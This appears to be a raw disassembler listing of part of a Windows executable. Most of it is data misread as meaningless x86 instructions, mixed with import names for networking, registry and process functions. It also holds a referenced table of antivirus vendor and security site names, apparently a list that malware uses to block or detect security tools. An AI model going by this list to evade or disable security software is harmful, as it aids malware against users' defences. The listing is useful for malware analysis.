loc_9A1DF4:				; CODE XREF: .text:loc_9A1D9Ej
		bound	esi, [ebp+74h]


loc_9A1DF7:				; CODE XREF: .text:009A1D8Aj
		db	65h
		jnb	short near ptr loc_9A1E39+2
		add	ah, cl
		pop	esi


loc_9A1DFD:				; CODE XREF: .text:loc_9A1D94j
		add	[edi+65h], eax


loc_9A1E00:				; CODE XREF: .text:loc_9A1D91j
		jz	short loc_9A1E48
		imul	ebp, [ebp+54h],	656D69h
		mov	word ptr [ebx],	es
		push	edi


loc_9A1E0D:				; CODE XREF: .text:009A1DC7j
		jb	short near ptr loc_9A1E76+2
		jz	short loc_9A1E76
		inc	esi
		imul	ebp, [ebp+0], 655302FEh


loc_9A1E1A:				; CODE XREF: .text:009A1DB2j
		jz	short near ptr loc_9A1E60+1
		outsb
		db	64h
		dec	edi
		inc	si


loc_9A1E21:				; CODE XREF: .text:loc_9A1DCFj
					; .text:009A1DDBj ...
		imul	ebp, [ebp+0], 540347C0h


loc_9A1E29:				; CODE XREF: .text:009A1DAEj
		db	65h
		jb	short near ptr loc_9A1E98+1


loc_9A1E2C:				; CODE XREF: .text:loc_9A1DBEj
					; .text:009A1DEAj
		imul	ebp, [esi+61h],	72506574h


loc_9A1E33:				; CODE XREF: .text:009A1DCCj
		outsd
		arpl	[ebp+73h], sp
		jnb	short $+2


loc_9A1E39:				; CODE XREF: .text:loc_9A1DF7j
		db	3Eh
		jnz	short near ptr loc_9A1E3D+1
		dec	edi


loc_9A1E3D:				; CODE XREF: .text:009A1DCAj
					; .text:loc_9A1E39j
		jo	short near ptr loc_9A1E9E+6
		outsb
		push	eax


loc_9A1E41:				; CODE XREF: .text:009A1DD1j
		jb	short near ptr loc_9A1EB1+1
		arpl	[ebp+73h], sp
		jnb	short $+2


loc_9A1E48:				; CODE XREF: .text:loc_9A1E00j
		dec	ebx
		add	edx, [eax+ebp*2+72h]
		db	65h
		popa
		xor	esi, fs:[edx]
		dec	esi
		db	65h
		js	short near ptr loc_9A1EC9+1
		add	ch, cl
		inc	ecx
		add	edx, [ebx+75h]
		jnb	short loc_9A1ECE
		outs	dx, byte ptr gs:[esi]


loc_9A1E60:				; CODE XREF: .text:loc_9A1E1Aj
		db	64h
		push	esp
		push	64616572h
		add	[ecx+2], bh
		dec	edi
		jo	short loc_9A1ED2
		outsb
		push	esp
		push	64616572h
		add	[ebx], ch


loc_9A1E76:				; CODE XREF: .text:009A1E0Fj
					; .text:loc_9A1E0Dj
		repne add [edi+6Ch], eax
		outsd
		bound	esp, [ecx+6Ch]
		inc	esi
		jb	short near ptr loc_9A1EE4+2
		db	65h
		add	ch, cl
		push	65724300h
		popa
		jz	short loc_9A1EF1
		push	edx
		db	65h
		insd
		outsd
		jz	short loc_9A1EF7
		push	esp
		push	64616572h


loc_9A1E98:				; CODE XREF: .text:loc_9A1E29j
		add	ah, dl
		xchg	eax, ebp
		add	edx, [edi+72h]


loc_9A1E9E:				; CODE XREF: .text:loc_9A1E3Dj
		imul	esi, [ebp+50h],	65636F72h
		jnb	short loc_9A1F1B
		dec	ebp
		db	65h
		insd
		outsd
		jb	short near ptr loc_9A1F24+3
		add	ch, cl
		insb


loc_9A1EB1:				; CODE XREF: .text:loc_9A1E41j
		add	edx, [esi+69h]
		jb	short near ptr loc_9A1F24+6
		jnz	short near ptr loc_9A1F18+1
		insb
		inc	ecx
		insb
		insb
		outsd
		arpl	[ebp+78h], ax
		add	cl, dl
		cmpsd
		add	dl, [edx+65h]
		popa
		db	64h
		push	eax


loc_9A1EC9:				; CODE XREF: .text:009A1E53j
		jb	short near ptr loc_9A1F35+5
		arpl	[ebp+73h], sp


loc_9A1ECE:				; CODE XREF: .text:009A1E5Cj
		jnb	short near ptr loc_9A1F1B+2
		db	65h
		insd


loc_9A1ED2:				; CODE XREF: .text:009A1E6Bj
		outsd
		jb	short near ptr loc_9A1F4D+1
		add	ds:74655303h, al
		inc	esi
		imul	ebp, [ebp+41h],	69727474h


loc_9A1EE4:				; CODE XREF: .text:009A1E7Fj
		bound	esi, [ebp+74h]
		db	65h
		jnb	short near ptr loc_9A1F24+7
		add	dh, cl
		arpl	[eax], ax
		inc	ebx
		jb	short loc_9A1F56


loc_9A1EF1:				; CODE XREF: .text:009A1E8Aj
		popa
		jz	short near ptr loc_9A1F57+2
		push	eax
		jb	short near ptr loc_9A1F60+6


loc_9A1EF7:				; CODE XREF: .text:009A1E90j
		arpl	[ebp+73h], sp
		jnb	short loc_9A1F3D
		add	[edi], bl
		dec	esp
		add	cl, [edi+ebp*2+63h]
		popa
		insb
		inc	esi
		jb	short near ptr loc_9A1F6C+1
		add	gs:[ebx+3], dh
		push	esi
		imul	esi, [edx+74h],	516C6175h
		jnz	short near ptr loc_9A1F7A+1
		jb	short loc_9A1F91


loc_9A1F18:				; CODE XREF: .text:009A1EB6j
		add	[edx-39h], cl


loc_9A1F1B:				; CODE XREF: .text:009A1EA6j
					; .text:loc_9A1ECEj
		add	[edi+65h], eax
		jz	short near ptr loc_9A1F70+4
		db	65h
		insd
		jo	short loc_9A1F6A


loc_9A1F24:				; CODE XREF: .text:009A1EACj
					; .text:009A1EB4j ...
		imul	ebp, [ebp+4Eh],	41656D61h
		add	[ebp-0Fh], al
		add	[esi+72h], al
		db	65h, 65h
		dec	esp


loc_9A1F35:				; CODE XREF: .text:loc_9A1EC9j
		imul	esp, [edx+72h],	797261h
		inc	esp


loc_9A1F3D:				; CODE XREF: .text:009A1EFAj
		add	edx, [ebx+79h]
		jnb	short near ptr loc_9A1FB3+3
		db	65h
		insd
		push	esp
		imul	ebp, [ebp+65h],	69466F54h
		insb


loc_9A1F4D:				; CODE XREF: .text:009A1ED3j
		db	65h
		push	esp
		imul	ebp, [ebp+65h],	1BCCE00h


loc_9A1F56:				; CODE XREF: .text:009A1EEFj
		inc	edi


loc_9A1F57:				; CODE XREF: .text:009A1EF2j
		db	65h
		jz	short loc_9A1FAD
		jns	short loc_9A1FCF
		jz	short near ptr loc_9A1FC2+1
		insd
		push	esp


loc_9A1F60:				; CODE XREF: .text:009A1EF5j
		imul	ebp, [ebp+65h],	4701BE00h
		db	65h
		jz	short near ptr loc_9A1FBB+2


loc_9A1F6A:				; CODE XREF: .text:009A1F22j
		jns	short near ptr loc_9A1FDD+2


loc_9A1F6C:				; CODE XREF: .text:009A1F06j
		jz	short loc_9A1FD3
		insd
		push	esp


loc_9A1F70:				; CODE XREF: .text:009A1F1Ej
		imul	ebp, [ebp+65h],	69467341h
		insb
		db	65h
		push	esp


loc_9A1F7A:				; CODE XREF: .text:009A1F14j
		imul	ebp, [ebp+65h],	5202C500h
		jz	short loc_9A1FEF
		push	ebp
		outsb
		ja	short near ptr loc_9A1FEF+1
		outsb
		add	fs:[ecx+eax+47h], dh
		db	65h
		jz	short loc_9A1FDD
		outsd


loc_9A1F91:				; CODE XREF: .text:009A1F16j
		db	64h
		jnz	short loc_9A2000
		db	65h
		inc	esi
		imul	ebp, [ebp+4Eh],	41656D61h
		add	bh, cl
		xchg	eax, [edx]
		push	eax
		jb	short near ptr dword_9A2014
		arpl	[ebp+73h], sp
		jnb	short loc_9A1FDD
		xor	cl, [esi+65h]


loc_9A1FAD:				; CODE XREF: .text:loc_9A1F57j
		js	short loc_9A2023
		add	[edx+3], cl
		push	esp


loc_9A1FB3:				; CODE XREF: .text:009A1F40j
		push	64616572h
		xor	esi, [edx]
		inc	esi


loc_9A1FBB:				; CODE XREF: .text:009A1F67j
		imul	esi, [edx+73h],	736D0074h


loc_9A1FC2:				; CODE XREF: .text:009A1F5Cj
		jbe	short near ptr loc_9A2025+2
		jb	short loc_9A203A
		db	2Eh, 64h
		insb
		insb
		add	bh, cl
; ---------------------------------------------------------------------------
		db 2 dup(0), 5Fh
; ---------------------------------------------------------------------------


loc_9A1FCF:				; CODE XREF: .text:009A1F5Aj
		popa
		db	64h
		push	75h


loc_9A1FD3:				; CODE XREF: .text:loc_9A1F6Cj
		jnb	short near ptr byte_9A2049
		pop	edi
		imul	si, fs:[esi+0],	0D0h


loc_9A1FDD:				; CODE XREF: .text:009A1F8Dj
					; .text:009A1FA8j ...
		add	[edi+69h], bl
		outsb
		imul	esi, [esp+esi*2+65h], 6D72h
		add	[ebx+61h], ah
		insb
		insb
		outsd


loc_9A1FEF:				; CODE XREF: .text:009A1F81j
					; .text:009A1F85j
		arpl	[eax], ax
		add	ss:[eax], al
		insd
		db	65h
		insd
		arpl	[ebp+70h], bp
		add	al, dl
; ---------------------------------------------------------------------------
		dd 74730000h
; ---------------------------------------------------------------------------


loc_9A2000:				; CODE XREF: .text:loc_9A1F91j
		jb	short loc_9A2065
		popa
		jz	short $+2
		pop	ecx
; ---------------------------------------------------------------------------
		dw 0
aLabs		db 'labs',0
		db 'ß',0
		align 10h
aSin		db 'sin',0
dword_9A2014	dd 6F6C0000h, 67h, 74727473h ; CODE XREF: .text:009A1FA3j
		db 6Fh,	6Bh, 0
; ---------------------------------------------------------------------------


loc_9A2023:				; CODE XREF: .text:loc_9A1FADj
		rol	byte ptr [eax],	1


loc_9A2025:				; CODE XREF: .text:loc_9A1FC2j
		add	[ecx+74h], ah
		outsd
		imul	eax, [eax], 770000D0h
		arpl	[ebx+63h], si
		jo	short near ptr loc_9A20AC+1
		add	[ebx+63770000h], cl


loc_9A203A:				; CODE XREF: .text:009A1FC4j
		jnb	short loc_9A209F
		popa
		jz	short $+2
		rol	byte ptr [eax],	1
		add	[edi+77h], bl
		arpl	[ebx+64h], si
		jnz	short loc_9A20B9
; ---------------------------------------------------------------------------
byte_9A2049	db 3 dup(0)		; CODE XREF: .text:loc_9A1FD3j
aMalloc		db 'malloc',0
		db 'Ð',0
		align 2
aFree		db 'free',0
		db 'Ð',0
		align 2
aMemcpy		db 'memcpy',0
; ---------------------------------------------------------------------------


loc_9A2065:				; CODE XREF: .text:loc_9A2000j
		repne add [eax], al
		insd
		db	65h
		insd
		jnb	short near ptr word_9A20D2
		jz	short $+2
		rol	byte ptr [eax],	1
		add	[edi+63h], dh
		jnb	short loc_9A20E9
		jz	short near ptr loc_9A20E9+1
		add	al, cl
; ---------------------------------------------------------------------------
		dw 0
a_snwprintf	db '_snwprintf',0
		db 'Ð',0
		align 2
aWcsncmp	db 'wcsncmp',0
		align 4
aWcsncpy	db 'wcsncpy',0
		db 2 dup(0), 5Fh
; ---------------------------------------------------------------------------


loc_9A209F:				; CODE XREF: .text:loc_9A203Aj
		ja	short near ptr dword_9A2104
		jnb	short near ptr loc_9A210F+2
		imul	esp, [ebx+6Dh],	70h
		ja	short loc_9A210F


loc_9A20AC:				; CODE XREF: .text:009A2032j
		jnb	short loc_9A211C
		arpl	[ecx+74h], sp
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 6C736377h
		db 65h
; ---------------------------------------------------------------------------


loc_9A20B9:				; CODE XREF: .text:009A2047j
		outsb
		add	al, dl
; ---------------------------------------------------------------------------
		dd 775F0000h, 63697363h, 0D000706Dh, 735F0000h,	776C7274h
		db 72h,	0
word_9A20D2	dw 0			; CODE XREF: .text:009A206Bj
aStrstr		db 'strstr',0
		db 'Ð',0
		align 2
a_strnicmp	db '_strnicmp',0
		db 0
; ---------------------------------------------------------------------------


loc_9A20E9:				; CODE XREF: .text:009A2074j
					; .text:009A2076j
		add	[ebx+72h], dh
		popa
		outsb
		add	fs:[eax], al
		add	[edx+61h], dh
		outsb
		db	64h
		add	cl, dl
; ---------------------------------------------------------------------------
		dd 735F0000h, 6972706Eh, 66746Eh
dword_9A2104	dd 74730000h, 68637272h	; CODE XREF: .text:loc_9A209Fj
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_9A210F:				; CODE XREF: .text:009A20AAj
					; .text:009A20A1j
		add	[ebx+74h], dh
		jb	short loc_9A2182
		arpl	[eax+79h], si
; ---------------------------------------------------------------------------
		db 0
		dd 74730000h
; ---------------------------------------------------------------------------


loc_9A211C:				; CODE XREF: .text:loc_9A20ACj
		jb	short loc_9A218A
		outs	dx, byte ptr gs:[esi]
		add	[ebx+735F0000h], bl
		jz	short loc_9A219A
		imul	esp, [ebx+6Dh],	0C20070h
		add	[ebx+74h], dh
		jb	short near ptr word_9A21A2
		arpl	[ecx+74h], sp
		add	[edi+6Ch], ch
		db	65h
		popa
		jnz	short loc_9A21B2
		xor	esi, [edx]
		db	2Eh, 64h
		insb
		insb
		add	[ebx+61560000h], al
		jb	short near ptr loc_9A21B3+2
		popa
		outsb
		jz	short loc_9A2199
		outsb
		imul	esi, [eax+eax+0], 73795300h
		inc	esi
		jb	short loc_9A21C1
		db	65h
		push	ebx
		jz	short loc_9A21D2
		imul	ebp, [esi+67h],	53000000h
		jns	short loc_9A21DC
		push	ebx
		jz	short near ptr loc_9A21DD+1
		imul	ebp, [esi+67h],	6E654Ch
		aad	0
		add	[ebx+79h], dl
		jnb	short loc_9A21BB
		insb
		insb
		outsd
		arpl	[ebx+74h], dx
		jb	short near ptr loc_9A21EA+1


loc_9A2182:				; CODE XREF: .text:009A2112j
		outsb
		add	[si+0],	ch
		push	esi
		popa


loc_9A218A:				; CODE XREF: .text:loc_9A211Cj
		jb	short near ptr loc_9A21F3+2
		popa
		outsb
		jz	short loc_9A21D3
		insb
		db	65h
		popa
		jb	short $+2
		iret
; ---------------------------------------------------------------------------
		dw 6873h
		db 65h
; ---------------------------------------------------------------------------


loc_9A2199:				; CODE XREF: .text:009A214Ej
		insb


loc_9A219A:				; CODE XREF: .text:009A2126j
		insb
		xor	esi, [edx]
		db	2Eh, 64h
		insb
		insb
; ---------------------------------------------------------------------------
		db 0
word_9A21A2	dw 0			; CODE XREF: .text:009A2132j
		dd 65474853h, 65705374h, 6C616963h
		db 46h,	6Fh
; ---------------------------------------------------------------------------


loc_9A21B2:				; CODE XREF: .text:009A213Cj
		insb


loc_9A21B3:				; CODE XREF: .text:009A214Aj
		db	64h, 65h
		jb	short near ptr loc_9A2206+1
		popa
		jz	short near ptr word_9A2222
		inc	ecx


loc_9A21BB:				; CODE XREF: .text:009A2178j
		add	[ebx+68h], dh
		insb
		ja	short near ptr word_9A2222


loc_9A21C1:				; CODE XREF: .text:009A215Aj
		jo	short loc_9A222C
		db	2Eh, 64h
		insb
		insb
; ---------------------------------------------------------------------------
		db 0
		dd 48530000h, 656C6544h
; ---------------------------------------------------------------------------
		jz	short loc_9A2237


loc_9A21D2:				; CODE XREF: .text:009A215Ej
		push	esi


loc_9A21D3:				; CODE XREF: .text:009A218Ej
		popa
		insb
		jnz	short loc_9A223C
		inc	ecx
		add	[ebx], dh
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------


loc_9A21DC:				; CODE XREF: .text:009A2167j
		push	ebx


loc_9A21DD:				; CODE XREF: .text:009A216Aj
		jz	short loc_9A2251
		push	ebx
		jz	short loc_9A2254
		dec	ecx
		push	edi
		add	ds:74530000h, dh


loc_9A21EA:				; CODE XREF: .text:009A2180j
		jb	short near ptr loc_9A223E+1
		jz	short near ptr loc_9A225D+3
		dec	ecx
		inc	ecx
		add	[edx+0], al


loc_9A21F3:				; CODE XREF: .text:loc_9A218Aj
		add	[ebx+48h], dl
		inc	esp
		db	65h
		insb
		db	65h
		jz	short near ptr loc_9A225D+4
		dec	ebx
		db	65h
		jns	short loc_9A2257
		add	[ecx+72657375h], cl


loc_9A2206:				; CODE XREF: .text:loc_9A21B3j
		xor	esi, [edx]
		db	2Eh, 64h
		insb
		insb
		add	[ecx+6E450000h], cl
		jnz	short loc_9A2281
		push	esp
		push	64616572h
		push	edi
		imul	ebp, [esi+64h],	73776Fh
; ---------------------------------------------------------------------------
word_9A2222	dw 0			; CODE XREF: .text:009A21B8j
					; .text:009A21BFj
		dd 44746547h, 7449676Ch
; ---------------------------------------------------------------------------


loc_9A222C:				; CODE XREF: .text:loc_9A21C1j
		db	65h
		insd
		add	al, bl
; ---------------------------------------------------------------------------
		dd 6F500000h
; ---------------------------------------------------------------------------
		jnb	short loc_9A22AA
		dec	ebp


loc_9A2237:				; CODE XREF: .text:009A21D0j
		db	65h
		jnb	short loc_9A22AD
		popa
; ---------------------------------------------------------------------------
		db 67h
; ---------------------------------------------------------------------------


loc_9A223C:				; CODE XREF: .text:009A21D5j
		db	65h
		inc	ecx


loc_9A223E:				; CODE XREF: .text:loc_9A21EAj
		add	al, bl
		ja	short loc_9A22AB
		outsb
		imul	ebp, [esi+65h],	6C642E74h
		insb
; ---------------------------------------------------------------------------
		db 0
		dd 6E490000h
		db 74h
; ---------------------------------------------------------------------------


loc_9A2251:				; CODE XREF: .text:loc_9A21DDj
		db	65h
		jb	short loc_9A22C2


loc_9A2254:				; CODE XREF: .text:009A21E0j
		db	65h
		jz	short near ptr word_9A229E


loc_9A2257:				; CODE XREF: .text:009A21FDj
		db	65h
		jz	short near ptr loc_9A229C+1
		outsd
		outsb
		outsb


loc_9A225D:				; CODE XREF: .text:009A21ECj
					; .text:009A21F9j
		arpl	gs:[ebp+64h], si
		push	ebx
		jz	short loc_9A22C6
		jz	short near ptr loc_9A22CA+2
; ---------------------------------------------------------------------------
		db 0
dword_9A2268	dd 6E490000h, 6E726574h, 704F7465h, 416E65h, 6E490000h
					; DATA XREF: .text:009B8200o
		dd 6E726574h
byte_9A2280	db 65h			; DATA XREF: .text:009B81F8o
; ---------------------------------------------------------------------------


loc_9A2281:				; CODE XREF: .text:009A2212j
		jz	short near ptr word_9A22D2
		jo	short loc_9A22EA
		outsb
		push	ebp


loc_9A2287:				; DATA XREF: .text:009B81F4o
		jb	short loc_9A22F5
		inc	ecx
		add	[eax+eax+0], dh
		dec	eax


loc_9A228F:				; DATA XREF: .text:009B81F0o
		jz	short near ptr loc_9A2303+2
		jo	short near ptr dword_9A22E4
		jnz	short loc_9A22FA
		jb	short near ptr dword_9A2310
		dec	ecx


loc_9A2298:				; DATA XREF: .text:009B81ECo
		outsb
		outsw
		inc	ecx


loc_9A229C:				; CODE XREF: .text:loc_9A2257j
		add	[esi], ch
; ---------------------------------------------------------------------------
word_9A229E	dw 0			; CODE XREF: .text:loc_9A2254j
dword_9A22A0	dd 65746E49h, 74656E72h	; DATA XREF: .text:009B81E8o
byte_9A22A8	db 52h,	65h		; DATA XREF: .text:009B81E4o
; ---------------------------------------------------------------------------


loc_9A22AA:				; CODE XREF: .text:009A2234j
		popa


loc_9A22AB:				; CODE XREF: .text:009A2240j
		db	64h
		inc	esi


loc_9A22AD:				; CODE XREF: .text:loc_9A2237j
					; DATA XREF: .text:009B81E0o
		imul	ebp, [ebp+0], 4900006Dh
		outsb
		jz	short loc_9A231D


loc_9A22B8:				; DATA XREF: .text:009B81DCo
		jb	short near ptr loc_9A2327+1
		db	65h
		jz	short near ptr loc_9A22FF+1
		insb
		outsd


loc_9A22BF:				; DATA XREF: .text:009B81D8o
		jnb	short loc_9A2326
		dec	eax


loc_9A22C2:				; CODE XREF: .text:loc_9A2251j
		popa
		outsb


loc_9A22C4:				; DATA XREF: .text:009B81D4o
		db	64h
		insb


loc_9A22C6:				; CODE XREF: .text:009A2263j
		add	gs:[edi+73h], dh


loc_9A22CA:				; CODE XREF: .text:009A2265j
					; DATA XREF: .text:009B81D0o
		xor	bl, [edi+33h]
		xor	ch, [esi]
		db	64h
		insb
		insb
; ---------------------------------------------------------------------------
word_9A22D2	dw 0			; CODE XREF: .text:loc_9A2281j
dword_9A22D4	dd 65670000h, 736F6874h, 6E796274h, 656D61h ; DATA XREF: .text:009B81CCo
					; .text:009B81C8o
dword_9A22E4	dd 6E690000h		; CODE XREF: .text:009A2291j
		db 65h,	74h
; ---------------------------------------------------------------------------


loc_9A22EA:				; CODE XREF: .text:009A2283j
		pop	edi
		outsb


loc_9A22EC:				; DATA XREF: .text:009B81C4o
		jz	short near ptr loc_9A235B+2
		popa
; ---------------------------------------------------------------------------
		db 0
		dd 53570000h
; ---------------------------------------------------------------------------
		inc	ecx


loc_9A22F5:				; CODE XREF: .text:loc_9A2287j
		push	ebx
		jz	short near ptr loc_9A2357+2
		jb	short near ptr loc_9A236D+1


loc_9A22FA:				; CODE XREF: .text:009A2293j
		jnz	short near ptr loc_9A236A+2


loc_9A22FC:				; DATA XREF: .text:009B81C0o
		add	[ecx+0], ch


loc_9A22FF:				; CODE XREF: .text:009A22BAj
		add	[esi+74h], ch
		outsd


loc_9A2303:				; CODE XREF: .text:loc_9A228Fj
					; DATA XREF: .text:009B81BCo
		push	6C6F006Ch
		xor	esi, gs:[edx]


loc_9A230B:				; DATA XREF: .text:009B81B8o
		db	2Eh, 64h
		insb
		insb
; ---------------------------------------------------------------------------
		db 0
dword_9A2310	dd 6F430000h, 74696E49h, 696C6169h ; CODE XREF:	.text:009A2295j
					; DATA XREF: .text:009B81B4o
		db 7Ah
; ---------------------------------------------------------------------------


loc_9A231D:				; CODE XREF: .text:009A22B6j
		db	65h
		inc	ebp


loc_9A231F:				; DATA XREF: .text:009B81B0o
		js	short $+2
		push	6F430000h


loc_9A2326:				; CODE XREF: .text:loc_9A22BFj
		inc	ebx


loc_9A2327:				; CODE XREF: .text:loc_9A22B8j
		jb	short loc_9A238E
		popa
		jz	short near ptr loc_9A238E+3
		dec	ecx
		outsb
		jnb	short near ptr loc_9A239D+7


loc_9A2330:				; DATA XREF: .text:009B81ACo
		popa
		outsb
		arpl	[ebp+0], sp
		jz	short $+2


loc_9A2337:				; DATA XREF: .text:009B81A8o
		add	[ebx+6Fh], al
		push	ebp
		outsb


loc_9A233C:				; DATA XREF: .text:009B81A4o
		imul	ebp, [esi+69h],	6C616974h
		imul	edi, [edx+65h],	6300h
		inc	ebx
		outsd


loc_9A234C:				; DATA XREF: .text:009B81A0o
		dec	ecx
		outsb


loc_9A234E:				; DATA XREF: .text:009B819Co
		imul	esi, [ecx+ebp*2+61h], 657A696Ch
		push	ebx


loc_9A2357:				; CODE XREF: .text:009A22F6j
		arpl	gs:[ebp+72h], si


loc_9A235B:				; CODE XREF: .text:loc_9A22ECj
					; DATA XREF: .text:009B8198o
		imul	esi, [ecx+edi*2+0], 6C72756Dh
		insd
		outsd
		outsb


loc_9A2366:				; DATA XREF: .text:009B8194o
		db	2Eh, 64h
		insb
		insb


loc_9A236A:				; CODE XREF: .text:loc_9A22FAj
		add	[eax+0], ch


loc_9A236D:				; CODE XREF: .text:009A22F8j
		add	[edi+62h], cl


loc_9A2370:				; DATA XREF: .text:009B8190o
		jz	short near ptr loc_9A23D1+2
		imul	ebp, [esi+55h],	41726573h
		outs	dx, byte ptr gs:[si]


loc_9A237C:				; DATA XREF: .text:009B818Co
		jz	short loc_9A23D1
		jz	short loc_9A23F2
		imul	ebp, [esi+67h],	75706D00h
		jz	short loc_9A23F2
		outsb


loc_9A238A:				; DATA XREF: .text:009B8188o
		add	[bp+di+61h], dh


loc_9A238E:				; CODE XREF: .text:loc_9A2327j
					; .text:009A232Aj
		db	66h, 65h
		jz	short loc_9A240B
		db	2Eh
		insb


loc_9A2394:				; DATA XREF: .text:009B8184o
		imul	esi, [esi+65h],	6F6F7200h
		jz	short loc_9A2408


loc_9A239D:				; CODE XREF: .text:009A232Ej
					; DATA XREF: .text:009B8180o
		imul	esi, [eax+eax+72h], 6E697369h
		add	[bx+si], al


loc_9A23A8:				; DATA XREF: .text:009B817Co
		jb	short near ptr loc_9A240E+1
		insd
		outsd
		jbe	short near ptr loc_9A240E+1
		insb


loc_9A23AF:				; DATA XREF: .text:009B8178o
		add	[ecx+75h], dh
		imul	esp, [ebx+6Bh],	6C616568h
; ---------------------------------------------------------------------------
		db 3 dup(0)
aPtsecurity	db 'ptsecurity',0       ; DATA XREF: .text:009B8174o
		align 4
aPrevx		db 'prevx',0            ; DATA XREF: .text:009B8170o
		align 10h
byte_9A23D0	db 70h			; DATA XREF: .text:009B816Co
; ---------------------------------------------------------------------------


loc_9A23D1:				; CODE XREF: .text:loc_9A237Cj
					; .text:loc_9A2370j
		arpl	[edi+ebp*2+6Fh], si
		insb
		jnb	short $+2


loc_9A23D8:				; DATA XREF: .text:009B8168o
		jo	short loc_9A243B
		outsb
		db	64h
		popa
; ---------------------------------------------------------------------------
		db 3 dup(0)
aOnecare	db 'onecare',0          ; DATA XREF: .text:009B8164o
aNorton		db 'norton',0           ; DATA XREF: .text:009B8160o
		align 10h
byte_9A23F0	db 6Eh,	6Fh		; DATA XREF: .text:009B815Co
; ---------------------------------------------------------------------------


loc_9A23F2:				; CODE XREF: .text:009A237Ej
					; .text:009A2387j
		jb	short loc_9A2461
		popa
		outsb
; ---------------------------------------------------------------------------
		dw 0
aNod32		db 'nod32',0            ; DATA XREF: .text:009B8158o
		align 10h
dword_9A2400	dd 7774656Eh, 616B726Fh	; DATA XREF: .text:009B8154o
; ---------------------------------------------------------------------------


loc_9A2408:				; CODE XREF: .text:009A239Bj
		jnb	short near ptr loc_9A247B+2
		outsd


loc_9A240B:				; CODE XREF: .text:loc_9A238Ej
		arpl	[ecx+61h], bp


loc_9A240E:				; CODE XREF: .text:loc_9A23A8j
					; .text:009A23ACj
		jz	short near ptr loc_9A2470+5
		jnb	short $+2
; ---------------------------------------------------------------------------
		dw 0
dword_9A2414	dd 2E63746Dh, 697273h, 766D736Dh, 7370h, 7466736Dh, 6973636Eh
					; DATA XREF: .text:009B8150o
					; .text:009B814Co
		dd 0
aMirage		db 'mirage',0           ; DATA XREF: .text:009B8144o
		align 4
byte_9A2438	db 6Dh,	69h, 63h	; DATA XREF: .text:009B8140o
; ---------------------------------------------------------------------------


loc_9A243B:				; CODE XREF: .text:loc_9A23D8j
		jb	short loc_9A24AC
		jnb	short near ptr loc_9A24AC+2
		db	66h
		jz	short $+3
; ---------------------------------------------------------------------------
		dw 0
aMcafee		db 'mcafee',0           ; DATA XREF: .text:009B813Co
		align 4
aMalware	db 'malware',0          ; DATA XREF: .text:009B8138o
aKaspersky	db 'kaspersky',0        ; DATA XREF: .text:009B8130o
		align 10h
byte_9A2460	db 6Bh			; DATA XREF: .text:009B812Co
; ---------------------------------------------------------------------------


loc_9A2461:				; CODE XREF: .text:loc_9A23F2j
		aaa
		arpl	[edi+6Dh], bp
		jo	short loc_9A24DC
		jz	short near ptr word_9A24D2
		outsb


loc_9A246A:				; DATA XREF: .text:009B8128o
		add	[bp+si+6Fh], ch
		jz	short loc_9A24E4


loc_9A2470:				; CODE XREF: .text:loc_9A240Ej
					; DATA XREF: .text:009B8124o
		imul	eax, [eax], 6B690000h
		popa
		jb	short loc_9A24EE
		jnb	short $+2


loc_9A247B:				; CODE XREF: .text:loc_9A2408j
					; DATA XREF: .text:009B8120o
		add	[eax+61h], ch
		jnz	short near ptr word_9A24F2


loc_9A2480:				; DATA XREF: .text:009B811Co
		imul	eax, [eax], 61680000h
		arpl	[ebx+73h], bp
		outsd
		db	66h
		jz	short $+3
; ---------------------------------------------------------------------------
		db 3 dup(0)
aHackerwatch	db 'hackerwatch',0      ; DATA XREF: .text:009B8118o
aGrisoft	db 'grisoft',0          ; DATA XREF: .text:009B8114o
aGdata		db 'gdata',0            ; DATA XREF: .text:009B8110o
		align 4


loc_9A24AC:				; CODE XREF: .text:loc_9A243Bj
					; .text:009A243Dj
					; DATA XREF: ...
		db	66h
		jb	short loc_9A2514
		db	65h
		popa
		jbe	short $+2


loc_9A24B3:				; DATA XREF: .text:009B8108o
		add	[esi+72h], ah


loc_9A24B6:				; DATA XREF: .text:009B8104o
		db	65h, 65h
		sub	eax, 66007661h
		outsd
		jb	short loc_9A2534
		imul	ebp, [esi+65h],	74h


loc_9A24C7:				; DATA XREF: .text:009B8100o
		add	[esi+2Dh], ah
		jnb	short near ptr byte_9A2531
		arpl	[ebp+72h], si
		add	gs:[eax], al
; ---------------------------------------------------------------------------
word_9A24D2	dw 0			; CODE XREF: .text:009A2467j
dword_9A24D4	dd 72702D66h, 746Fh	; DATA XREF: .text:009B80FCo
; ---------------------------------------------------------------------------


loc_9A24DC:				; CODE XREF: .text:009A2465j
					; DATA XREF: .text:009B80F8o
		db	65h
		ja	short loc_9A2548
		outs	dx, dword ptr fs:[esi]
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_9A24E4:				; CODE XREF: .text:009A246Ej
					; DATA XREF: .text:009B80F4o
		db	65h
		jz	short loc_9A2559
		jnz	short near ptr loc_9A2559+3
		jz	short $+2


loc_9A24EB:				; DATA XREF: .text:009B80F0o
		add	[ebp+73h], ah


loc_9A24EE:				; CODE XREF: .text:009A2477j
		db	65h
		jz	short $+3
; ---------------------------------------------------------------------------
		db 0
word_9A24F2	dw 0			; CODE XREF: .text:009A247Ej
aEsafe		db 'esafe',0            ; DATA XREF: .text:009B80ECo
		align 4
aEmsisoft	db 'emsisoft',0         ; DATA XREF: .text:009B80E8o
		align 4
aDslreports	db 'dslreports',0       ; DATA XREF: .text:009B80E4o
		align 4


loc_9A2514:				; CODE XREF: .text:loc_9A24ACj
					; DATA XREF: .text:009B80E0o
		db	64h
		jb	short loc_9A258E
		bound	eax, gs:[eax]
; ---------------------------------------------------------------------------
		dw 0
aDefender	db 'defender',0         ; DATA XREF: .text:009B80D8o
		align 4
aCyberTa	db 'cyber-ta',0         ; DATA XREF: .text:009B80D4o
byte_9A2531	db 3 dup(0)		; CODE XREF: .text:009A24CAj
; ---------------------------------------------------------------------------


loc_9A2534:				; CODE XREF: .text:009A24BEj
					; DATA XREF: .text:009B80D0o
		arpl	[eax+73h], si
		arpl	gs:[ebp+72h], si
		add	gs:[eax], al
; ---------------------------------------------------------------------------
		dw 0
dword_9A2540	dd 666E6F63h, 656B6369h	; DATA XREF: .text:009B80CCo
; ---------------------------------------------------------------------------


loc_9A2548:				; CODE XREF: .text:loc_9A24DCj
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
